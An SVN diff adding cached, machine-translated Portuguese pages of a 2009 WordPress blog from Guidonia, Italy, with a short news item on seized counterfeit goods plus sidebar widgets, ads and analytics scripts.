+</script></div></div><div class=box><h3></h3><div id=calendar_wrap><table id=wp-calendar summary=Calendario><caption> <span  > Julho: 2009</span> </caption><thead><tr><th abbr="lunedÃ¬" scope=col title="segunda-feira"> <span  > L</span> </th><th abbr="martedÃ¬" scope=col title="terÃ§a-feira"> <span  > M</span> </th><th abbr="mercoledÃ¬" scope=col title="Qua."> <span  > M</span> </th><th abbr="giovedÃ¬" scope=col title="quinta-feira"> <span  > G</span> </th><th abbr="venerdÃ¬" scope=col title="sexta-feira"> <span  > V</span> </th><th abbr=sabato scope=col title="SÃ¡b."> <span  > S</span> </th><th abbr=domenica scope=col title="domingo"> <span  > D</span> </th></tr></thead><tfoot><tr><td abbr=giugno colspan=3 id=prev> <span  > <a href="http://www.guidonia.net/wp?m=200906&lang=pt" >Â«Jun.</a></span> </td><td class=pad></td><td colspan=3 id=next class=pad></td></tr></tfoot><tbody><tr><td colspan=2 class=pad></td><td> <span  > 1</span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090702&lang=pt" >2</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090703&lang=pt" >3</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090704&lang=pt" >4</a></span> </td><td id=today> <span  > 5</span> </td></tr><tr><td> <span  > 6</span> </td><td> <span  > 7</span> </td><td> <span  > 8</span> </td><td> <span  > 9</span> </td><td> <span  > 10</span> </td><td> <span  > 11</span> </td><td> <span  > 12</span> </td></tr><tr><td> <span  > 13</span> </td><td> <span  > 14</span> </td><td> <span  > 15</span> </td><td> <span  > 16</span> </td><td> <span  > 17</span> </td><td> <span  > 18</span> </td><td> <span  > 19</span> </td></tr><tr><td> <span  > 20</span> </td><td> <span  > 21</span> </td><td> <span  > 22</span> </td><td> <span  > 23</span> </td><td> <span  > 24</span> </td><td> <span  > 25</span> </td><td> <span  > 26</span> </td></tr><tr><td> <span  > 27</span> </td><td> <span  > 28</span> </td><td> <span  > 29</span> </td><td> <span  > 30</span> </td><td> <span  > 31</span> </td><td class=pad colspan=2></td></tr></tbody></table></div></div></div><div class=col2><div class=box><h3> <span  > Translator</span> </h3>
+<!--FLAG_BAR_BEGIN--><div id="translation_bar"><a id='flag_it' href='http://www.guidonia.net/wp/?p=6286' hreflang='it' ><img id='flag_img_it' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_it.png' alt='Italiano flag' title='Italiano'  border='0' /></a><a id='flag_ar' href='http://www.guidonia.net/wp/?p=6286&lang=ar' hreflang='ar' ><img id='flag_img_ar' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ar.png' alt='Arabo flag' title='Arabo'  border='0' /></a><a id='flag_ca' href='http://www.guidonia.net/wp/?p=6286&lang=ca' hreflang='ca' ><img id='flag_img_ca' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ca.png' alt='Catalano flag' title='Catalano'  border='0' /></a><a id='flag_zh-CN' href='http://www.guidonia.net/wp/?p=6286&lang=zh-CN' hreflang='zh-CN' ><img id='flag_img_zh-CN' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_zh-CN.png' alt='Cinese (Semplificato) flag' title='Cinese (Semplificato)'  border='0' /></a><a id='flag_en' href='http://www.guidonia.net/wp/?p=6286&lang=en' hreflang='en' ><img id='flag_img_en' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_en.png' alt='Inglese flag' title='Inglese'  border='0' /></a><a id='flag_fr' href='http://www.guidonia.net/wp/?p=6286&lang=fr' hreflang='fr' ><img id='flag_img_fr' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_fr.png' alt='Francese flag' title='Francese'  border='0' /></a><a id='flag_de' href='http://www.guidonia.net/wp/?p=6286&lang=de' hreflang='de' ><img id='flag_img_de' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_de.png' alt='Tedesco flag' title='Tedesco'  border='0' /></a><a id='flag_el' href='http://www.guidonia.net/wp/?p=6286&lang=el' hreflang='el' ><img id='flag_img_el' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_el.png' alt='Greco flag' title='Greco'  border='0' /></a><a id='flag_pt' href='http://www.guidonia.net/wp/?p=6286&lang=pt' hreflang='pt' ><img id='flag_img_pt' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_pt.png' alt='Portoghese flag' title='Portoghese'  border='0' /></a><a id='flag_ro' href='http://www.guidonia.net/wp/?p=6286&lang=ro' hreflang='ro' ><img id='flag_img_ro' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ro.png' alt='Rumeno flag' title='Rumeno'  border='0' /></a><a id='flag_ru' href='http://www.guidonia.net/wp/?p=6286&lang=ru' hreflang='ru' ><img id='flag_img_ru' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_ru.png' alt='Russo flag' title='Russo'  border='0' /></a><a id='flag_es' href='http://www.guidonia.net/wp/?p=6286&lang=es' hreflang='es' ><img id='flag_img_es' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_es.png' alt='Spagnolo flag' title='Spagnolo'  border='0' /></a><a id='flag_sv' href='http://www.guidonia.net/wp/?p=6286&lang=sv' hreflang='sv' ><img id='flag_img_sv' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sv.png' alt='Svedese flag' title='Svedese'  border='0' /></a><a id='flag_sq' href='http://www.guidonia.net/wp/?p=6286&lang=sq' hreflang='sq' ><img id='flag_img_sq' src='http://www.guidonia.net/wp/wp-content/plugins/global-translator/flag_sq.png' alt='Albanese flag' title='Albanese'  border='0' /></a><div id="transl_sign"></div></div><!--FLAG_BAR_END-->
+</div><div class=box><h3> <a class=rsswidget href=http://www.liquida.it/guidonia.feed title="Subscrever a este conteÃºdo"><img style=background:orange;color:white;border:none; width=14 height=14 src=http://www.guidonia.net/wp/wp-includes/images/rss.png alt="RSS" /></a> <span  > <a class=rsswidget href="http://www.guidonia.net/wp?p=6286&lang=pt" >Fast News Blog</a></span> </h3><ul><li> <span  > <a class=rsswidget href="http://www.vignaclarablog.it/200907036551/comune-di-roma-todini-pdl-stupri-la-misura-e-colma/">Comune di Roma - Todini (PDL): estupros, mediÃ§Ã£o ou Â«enche</a></span> </li><li> <span  > <a class=rsswidget href="http://cairoli.simplicissimus.it/2009/07/avezzano-roma-tiburtina-la-linea-ferroviaria-dei-senza-casta.html">Avezzano - Roma Tiburtina - A linha ferroviÃ¡ria do &quot;outcastes&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://sicurezza626lavoro.wordpress.com/2009/07/01/asl-roma-g-prevenzione-e-sicurezza-sul-lavoro/">ASL Roma G: PrevenÃ§Ã£o e SeguranÃ§a no Trabalho</a></span> </li><li> <span  > <a class=rsswidget href="http://truffeinrete.blogspot.com/2009/07/donna-uccisa-da-un-fulmine-nel-lazio.html">Mulher morta por relÃ¢mpagos no LÃ¡cio</a></span> </li><li> <span  > <a class=rsswidget href="http://www.mpl.it/?p=6390#39;Aquila, casas sem cimento. Aqui estÃ¡ a prova. &quot; O postadas, Enzo Cappucci, haviam cavado nos escombros na regiÃ£o de Abruzzo e de ter encontrado provas da leveza, a falta de controles, o criminoso descuido com que muitas casas foram construÃ­das. O ... Tags: enzo tampas Abruzzo RaiNews24 rai roma um [...]"">Rai em cimento</a></span> </li><li> <span  > <a class=rsswidget href="http://tgabruzzo.blogspot.com/2009/06/rainews-24-esclusiva-laquila-case-senza.html#39;&#39;L&#39;Aquila, casas sem cimento. Aqui estÃ¡ a prova&#39;&#39;. O envio de Rainews24, Enzo Cappucci, haviam cavado nos escombros na regiÃ£o de Abruzzo e de ter encontrado provas da leveza, a falta de controles, o criminoso descuido com que muitas casas foram ... Tags: [...]"">RaiNews 24: Exclusive&#39;&#39;eagle, casas sem cimento&#39;&#39;</a></span> </li><li> <span  > <a class=rsswidget href="http://laveritaquotidiana.blogspot.com/2009/06/armati-di-pistola-rapinano-antiquari-in.html">Armados com pistola roubaram antiguidades no hotel</a></span> </li><li> <span  > <a class=rsswidget href="http://www.sportfondano.it/2009/06/entro-il-23-luglio-le-iscrizioni-alla-c2-regionale/">Em Julho de 23 assinaturas para regional C2</a></span> </li><li> <span  > <a class=rsswidget href="http://abruzzoblog.blogspot.com/2009/06/il-management-del-dolore-post.html">A gestÃ£o da dor pÃ³s-operatÃ³ria ganha &quot;e do rock &#39;trecho&#39; e. ..</a></span> </li><li> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Mulher e Democracia.</a></span> <span  > <a class=rsswidget href="http://www.reset-italia.net/2009/06/28/donne-e-democrazia-paura-menzogna-e-mito/">Medo, mentiras e &quot;mito&quot;.</a></span> </li><li> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141">Mulher e Democracia.</a></span> <span  > <a class=rsswidget href="http://www.lamianotizia.com/index.php?entry=entry090628-104141">Medo, mentiras e &quot;mito&quot;</a></span> </li><li> <span  > <a class=rsswidget href="http://www.transformersblog.it/2009/06/24/anteprime-transformers-di-giovedi-25-giugno-ecco-i-cinema/">Transformers serÃ¡ estreada na quinta-feira, 25 jun sÃ£o o cinema</a></span> </li><li> <span  > <a class=rsswidget href="http://bellizzigranata.blogspot.com/2009/06/salernitana-acri-diesse-fabiani-digi.html">Salernitana: Diesse Acri, Fabiani digi</a></span> </li><li> <span  > <a class=rsswidget href="http://www.06blog.it/post/5558/elezioni-guidonia-e-fonte-nuova-al-centrodestra">EleiÃ§Ãµes e Guidonia Fonte Nova para o centro</a></span> </li></ul></div><div class=box><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x600, creato 24/05/09 */
+google_ad_slot = "9606521834";
+google_ad_width = 120;
+google_ad_height = 600;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div></div></div></div><div id=footer><p> <span  > Â© 2009 <a href="http://www.guidonia.net/wp?lang=pt" >GuidoniaPuntoNet (em andamento).</a> Link: <a href="http://www.guidonia.tv/">Guidonia TV</a> - <a href="http://www.aniene.net/">Aniene.Net</a> - <a href="http://www.linuxap.it/">LinuxAp</a> - <a href="http://www.eleonline.it/">EleiÃ§Ãµes Online</a></span> </p><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.form.js?ver=2.02m></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/contact-form-7.js?ver=1.10.0.1></script></div><!-- Start of StatCounter Code --><script type=text/javascript>
+var sc_project=4711170; 
+var sc_invisible=1; 
+var sc_partition=56; 
+var sc_click_stat=1; 
+var sc_security="aab5f80b"; 
+</script><script type=text/javascript src=http://www.statcounter.com/counter/counter.js></script><noscript><div class=statcounter> <a title="website statistics" href="http://www.statcounter.com/"><img class=statcounter src=http://c.statcounter.com/4711170/0/aab5f80b/1/ alt="website statistics"></a> </div></noscript><!-- End of StatCounter Code --><script type=text/javascript>
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script><script type=text/javascript>
+try {
+var pageTracker = _gat._getTracker("UA-9114161-1");
+pageTracker._trackPageview();
+} catch(err) {}</script></body></html><!-- Dynamic page generated in 1.659 seconds. --><!-- Cached page generated by WP-Super-Cache on 2009-07-05 02:01:34 -->
Index: /trunk/www.guidonia.net/wp/wp-content/gt-cache/pt/_wp__p=6289&lang=pt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/gt-cache/pt/_wp__p=6289&lang=pt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/gt-cache/pt/_wp__p=6289&lang=pt	(revision 44)
@@ -0,0 +1,72 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns=http://www.w3.org/1999/xhtml dir=ltr lang=it-IT><head profile=http://gmpg.org/xfn/11><base href=http://www.guidonia.net/wp/?p=6289 /><meta http-equiv=Content-Type content="text/html; charset=UTF-8" /><title> Guardia di Finanza. A apreensÃ£o de capital de 3 milhÃµes de unidades ... - O Ocidente - GuidoniaPuntoNet (em andamento) </title><link rel=alternate type=application/rss+xml title="GuidoniaPuntoNet (em andamento) RSS Feed" href=http://www.guidonia.net/wp/?feed=rss2 /><link rel=pingback href=http://www.guidonia.net/wp/xmlrpc.php /></head><body onload=""><iframe src="http://www.guidonia.net/wp/?p=6289&rurl=translate.google.com&lang=it&usg=ALkJrhidNfyRs66CSlUMl7_R6gPzhDZo7Q" width=0 height=0 frameborder=0 style="width:0px;height:0px;border:0px;"></iframe><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/js/switch.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/style.css type=text/css media=screen /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="padrÃ£o" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/pink.css type=text/css media=screen title="rosa" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/green.css type=text/css media=screen title="verde" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/purple.css type=text/css media=screen title="roxo" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/red.css type=text/css media=screen title="vermelho" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/themes/facebook/blue.css type=text/css media=screen title="azul" /><link rel=alternate type=application/rss xml title="GuidoniaPuntoNet (em andamento) &quot;Guardia di Finanza. A apreensÃ£o de capital de 3 milhÃµes de unidades ... - A Western Feed comentÃ¡rios" href=http://www.guidonia.net/wp/?feed=rss2"><script type=text/javascript>
+		/* <![CDATA[ */
+
+			function move(index,to) {
+			 var list = document.getElementById('list');
+			 var total = list.options.length-1;
+			 if (index == -1) return false;
+			 if (to == +1 && index == total) return false;
+			 if (to == -1 && index == 0) return false;
+			 var items = new Array;
+			 var values = new Array;
+			 for (i = total; i >= 0; i--) {
+			  items[i] = list.options[i].text;
+			  values[i] = list.options[i].value;
+			 }
+			
+			 for (i = total; i >= 0; i--) {
+			  if (index == i) {
+			   list.options[i + to] = new Option(items[i],values[i + to], 0, 1);
+			   list.options[i] = new Option(items[i + to], values[i]);
+			   i--;
+			  } else {
+			   list.options[i] = new Option(items[i], values[i]);
+			  }
+			 }
+			
+			 list.focus();
+			}
+			
+			function submitForm() {
+			 var list = document.getElementById('list');
+			 var orderedlist = document.getElementById('orderedlist');
+			
+			 for (i = 0; i <= list.options.length-1; i++) {
+			  orderedlist.value += list.options[i].text;
+			  if (i != list.options.length-1) orderedlist.value += "|";
+			 }
+			 document.getElementById('sendform').submit();
+			}
+		/* ]]> */
+		</script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/jquery/jquery.js?ver=1.3.2></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-includes/js/comment-reply.js?ver=20090102></script><link rel=EditURI type=application/rsd+xml title="RSD" href=http://www.guidonia.net/wp/xmlrpc.php?rsd /><link rel=wlwmanifest type=application/wlwmanifest+xml href=http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml /><link rel=index title="GuidoniaPuntoNet (em andamento)" href=http://www.guidonia.net/wp /><link rel=start title="Guidonia na WebTV" href=http://www.guidonia.net/wp/?p=8 /><link rel=prev title="Gdf, grande apreensÃ£o de mercadorias falsificadas para 20 milhÃµes - Il Sole 24 Ore" href=http://www.guidonia.net/wp/?p=6288 /><link rel=next title="Guidonia: PAGANO, UDC INSTA ESTRADAS EM RISCO MAPEAMENTO - IRIS Imprensa - National News Agency" href=http://www.guidonia.net/wp/?p=6286 /><meta name=generator content="WordPress 2.8" /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/lexi/css/lexi.css type=text/css media=screen /><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/minimax/scripts/minimax.js></script><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/tubepress.js></script><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/tubepress.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/widget/css/tubepress_widget.css type=text/css /><link rel=stylesheet href=http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/gallery/css/pagination.css type=text/css /><!-- Generated by Simple Tags 1.6.6 - http://wordpress.org/extend/plugins/simple-tags --><meta name=keywords content=Guidonia /></head><!--#wrapper:start--><div id=wrapper><!--#header:start--><div id=header><h1> <span  > <a href="http://www.guidonia.net/wp?lang=pt" >GuidoniaPuntoNet (em andamento)</a></span> </h1><!--#navigation:start--><div id=navigation><ul><li> <span  > <a href="http://www.guidonia.net/wp?lang=pt" >InÃ­cio</a></span> </li><li class="page_item page-item-2"> <span  > <a href="http://www.guidonia.net/wp?page_id=2&lang=pt" >Sobre</a></span> </li><li class="page_item page-item-6296"> <span  > <a href="http://www.guidonia.net/wp?page_id=6296&lang=pt" >Contactos</a></span> </li></ul></div><!--#navigation:end--><!--#search:start--><div id=search><form method=get id=searchform action=http://www.guidonia.net/wp/><input type=text value="" name=s id=s /><input type=submit id=searchsubmit value="pesquisa" /></form></div><!--#search:end--></div><!--#header:end--><!--#content:start--><div id=content><div class=entry id=post-6289><h2> <span  > <a href="http://www.guidonia.net/wp?p=6289&lang=pt" >Guardia di Finanza.</a></span> <span  > <a href="http://www.guidonia.net/wp?p=6289&lang=pt" >A apreensÃ£o de capital de 3 milhÃµes de unidades ... -</a> O <a href="http://www.guidonia.net/wp?p=6289&lang=pt" >Oeste</a></span> </h2><p class=meta-header> <span  > Recebido em 03. De julho de 2009 em <a href="http://www.guidonia.net/wp?cat=1&lang=pt" >Guidonia NotÃ­cias</a> por admin</span> </p><table border=0 cellpadding=2 cellspacing=7 style=vertical-align:top;><tr><td width=80 align=center valign=top><font style=font-size:85%;font-family:arial,sans-serif></font></td><td valign=top class=j> <font style=font-size:85%;font-family:arial,sans-serif><br /></font> <div style=padding-top:0.8em;><img alt="" height=1 width=1 /></div><div class=lh><span  > <b><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.loccidentale.it/articolo/guardia+di+finanza.+sequestrati+nella+capitale+3+milioni+di+pezzi+griffati..0074512&usg=AFQjCNGURDfe43JuXjzRjWk8TdHBipDuYw">Guardia di Finanza.</a></b></span> <span  > <b><a href="http://news.google.com/news/url?fd=R&sa=T&url=http://www.loccidentale.it/articolo/guardia+di+finanza.+sequestrati+nella+capitale+3+milioni+di+pezzi+griffati..0074512&usg=AFQjCNGURDfe43JuXjzRjWk8TdHBipDuYw">A apreensÃ£o de capital de 3 milhÃµes de peÃ§as ...</a></b></span> <br /> <span  > O <font color=#6f6f6f><font size=-1><b>Ocidente</b></font></font></span> <br /> <span  > <font size=-1><b>...</b> ChinÃªs empresÃ¡rios que operam no mesmo caminho e para localizar 17 armazÃ©ns nas Ã¡reas de Roma e Oriente <b>Guidonia Montecelio. ...</b></font></span> <br /><font size=-1 class=p></font><br /> <span  > <a class=p href="http://news.google.it/news?pz=1&ned=it&ncl=d12lqNpW1bnRGHM"><font class=p size=-1><b>mais Â»</b></font></a></span> </div></td></tr></table><div class=meta-footer><ul></ul><div class=clear-left></div></div></div><!-- You can start editing here. --><div id=comments><!-- If comments are open, but there are no comments. --><div id=respond class=box><h3> <span  > Deixe uma resposta</span> </h3><div class=cancel-comment-reply> <span  > <a rel=nofollow id=cancel-comment-reply-link href="http://www.guidonia.net/wp?p=6289#respond style=display:none;&lang=pt" ><small>Clique para cancelar a resposta.</small></a></span> </div><form action=http://www.guidonia.net/wp/wp-comments-post.php method=post id=commentform><div> <span  > <label for=author><small>Nome (requerido)</small></label></span> <br /><input type=text name=author id=author value="" size=22 tabindex=1 aria-required=true /></div><div> <span  > <label for=email><small>Mail (nÃ£o serÃ¡ publicado) (requerido)</small></label></span> <br /><input type=text name=email id=email value="" size=22 tabindex=2 aria-required=true /></div><div> <span  > <label for=url><small>Website</small></label></span> <br /><input type=text name=url id=url value="" size=22 tabindex=3 /></div><div><span  > <strong><small>XHTML::</small></strong></span> <small><br /> <code>&lt;a href=&quot;&quot; title=&quot;&quot;&gt; &lt;abbr title=&quot;&quot;&gt; &lt;acronym title=&quot;&quot;&gt; &lt;b&gt; &lt;blockquote cite=&quot;&quot;&gt; &lt;cite&gt; &lt;code&gt; &lt;del datetime=&quot;&quot;&gt; &lt;em&gt; &lt;i&gt; &lt;q cite=&quot;&quot;&gt; &lt;strike&gt; &lt;strong&gt;</code></small> </div><p> <span  > <label for=comments><small>ComentÃ¡rios</small></label></span> <br /><textarea name=comment id=comment cols=50 rows=6 tabindex=4></textarea></p><p><input name=submit type=submit id=submit tabindex=5 value="Enviar comentÃ¡rio" class=box /><input type=hidden name=comment_post_ID value=6289 id=comment_post_ID /><input type=hidden name=comment_parent id=comment_parent value=0 /></p></form></div></div></div><!--#content:end--><div id=sidebar><p id=switcher> <span  > <a href="http://www.guidonia.net/">Azul</a> <a href="http://www.guidonia.net/">Rosa</a> <a href="http://www.guidonia.net/">Verde</a> <a href="http://www.guidonia.net/">Roxo</a> <a href="http://www.guidonia.net/">Vermelho</a></span> </p><div class="about box"><h3> <span  > Info</span> </h3><p><script type=text/javascript src=http://www.guidonia.net/wp/wp-content/themes/facebook/scripts.js></script><center> <span  > <b>GuidoniaPuntoNet: idÃ©ias para a web</b></span> <b><br /></b> <script type=text/javascript>showFlash("loop.swf");</script> <b><br /></b> <span  > <b>Ideias em busca de financiamento: <a href=mailto:info@guidonia.net>entre em contato conosco</a></b></span> </center></p><div class=clear></div></div><div class=feeds> <span  > VocÃª pode ficar LÃ­ngua original atravÃ©s do <a href="http://www.guidonia.net/wp?feed=rss2&lang=pt" >feed RSS.</a></span> </div><div class=col><div class=box><h3> <span  > Videos sobre Guidonia</span> </h3><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6289# onclick=&lang=pt" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=z32gTXwZyq0&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dz32gTXwZyq0%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Mansarda Guidonia Center" src=http://i.ytimg.com/vi/z32gTXwZyq0/2.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > Guidonia CENTRO, ad.</span> <span  > Viale Roma EstaÃ§Ã£o FerroviÃ¡ria e ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6289# onclick=&lang=pt" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=sg72_I89PV8&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3Dsg72_I89PV8%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Palavras e Sons Dias - Live @ Guidonia" src=http://i.ytimg.com/vi/sg72_I89PV8/3.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > PedaÃ§os do lendÃ¡rio concerto de uma Moro Guidonia de ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6289# onclick=&lang=pt" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=-8DgBuwxENM&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D-8DgBuwxENM%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Libero - Live @ Guidonia" src=http://i.ytimg.com/vi/-8DgBuwxENM/default.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > PedaÃ§os do lendÃ¡rio concerto de uma Moro Guidonia de ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6289# onclick=&lang=pt" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=tvOS-jqwMDE&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3DtvOS-jqwMDE%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - The Meaning of Everything Is - Live @ Guidonia" src=http://i.ytimg.com/vi/tvOS-jqwMDE/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > PedaÃ§os do lendÃ¡rio concerto de uma Moro Guidonia de ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --><div class=tubepress_thumb_widget><div class=tubepress_video_thumb_inner> <a href="http://www.guidonia.net/wp?p=6289# onclick=&lang=pt" tubePress_popup('http://www.guidonia.net/wp/wp-content/plugins/tubepress/ui/players/popup.php?id=0QhDp2EJqlU&amp;opts=r%3D%3Ba%3D%3Bl%3D%3Bg%3D%3Bb%3D1%3Bid%3D0QhDp2EJqlU%3Bw%3D425%3Bh%3D355%3Bq%3Dnormal%3Bf%3D1%3Bc1%3D999999%3Bc2%3DFFFFFF%3Bsi%3D1', 355, 425);""><img alt="Fabrizio Moro - Non ImportaÃ§Ã£o - Live @ Guidonia" src=http://i.ytimg.com/vi/0QhDp2EJqlU/hqdefault.jpg width=120 height=90 /></a> <div class=tubepress_meta_group><br /> <span  > PedaÃ§os do lendÃ¡rio concerto de uma Moro Guidonia de ...</span> </div><!-- tubepress_meta_group --></div><!-- tubepress_video_thumb_inner --></div><!-- tubepress_thumb --></div><div class=box><h3> <span  > Classifieds</span> </h3><div class=textwidget><script type=text/javascript><!--
+google_ad_client = "pub-9331412477710099";
+/* 120x90, creato 24/05/09 */
+google_ad_slot = "4202309166";
+google_ad_width = 120;
+google_ad_height = 90;
+//-->
+</script><script type=text/javascript src=http://pagead2.googlesyndication.com/pagead/show_ads.js>
+</script></div></div><div class=box><h3></h3><div id=calendar_wrap><table id=wp-calendar summary=Calendario><caption> <span  > Julho: 2009</span> </caption><thead><tr><th abbr="lunedÃ¬" scope=col title="segunda-feira"> <span  > L</span> </th><th abbr="martedÃ¬" scope=col title="terÃ§a-feira"> <span  > M</span> </th><th abbr="mercoledÃ¬" scope=col title="Qua."> <span  > M</span> </th><th abbr="giovedÃ¬" scope=col title="quinta-feira"> <span  > G</span> </th><th abbr="venerdÃ¬" scope=col title="sexta-feira"> <span  > V</span> </th><th abbr=sabato scope=col title="SÃ¡b."> <span  > S</span> </th><th abbr=domenica scope=col title="domingo"> <span  > D</span> </th></tr></thead><tfoot><tr><td abbr=giugno colspan=3 id=prev> <span  > <a href="http://www.guidonia.net/wp?m=200906&lang=pt" >Â«Jun.</a></span> </td><td class=pad></td><td colspan=3 id=next class=pad></td></tr></tfoot><tbody><tr><td colspan=2 class=pad></td><td> <span  > 1</span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090702&lang=pt" >2</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090703&lang=pt" >3</a></span> </td><td> <span  > <a href="http://www.guidonia.net/wp?m=20090704&lang=pt" >4</a></span> </td><td id=today> <span  > 5</span> </td></tr><tr><td> <span  > 6</span> </td><td> <span  > 7</span> </td><td> <span  > 8</span> </td><td> <span  > 9</span> </td><td> <span  > 10</span> </td><td> <span  > 11</span> </td><td> <span  > 12</span> </td></tr><tr><td> <span  > 13</span> </td><td> <span  > 14</span> </td><td> <span  > 15</span> </td><td> <span  > 16</span> </td><td> <span  > 17</span> </td><td> <span  > 18</span> </td><td> <span  > 19</span> </td></tr><tr><td> <span  > 20</span> </td><td> <span  > 21</span> </td><td> <span  > 22</span> </td><td> <span  > 23</span> </td><td> <span  > 24</span> </td><td> <span  > 25</span> </td><td> <span  > 26</span> </td></tr><tr><td> <span  > 27</span> </td><td> <span  > 28</span> </td><td> <span  > 29</span> </td><td> <span  > 30</span> </td><td> <span  > 31</span> </td><td class=pad colspan=2></td></tr></tbody></table></div></div></div><div class=col2><div class=box><h3> <span  > Translator</span> </h3>
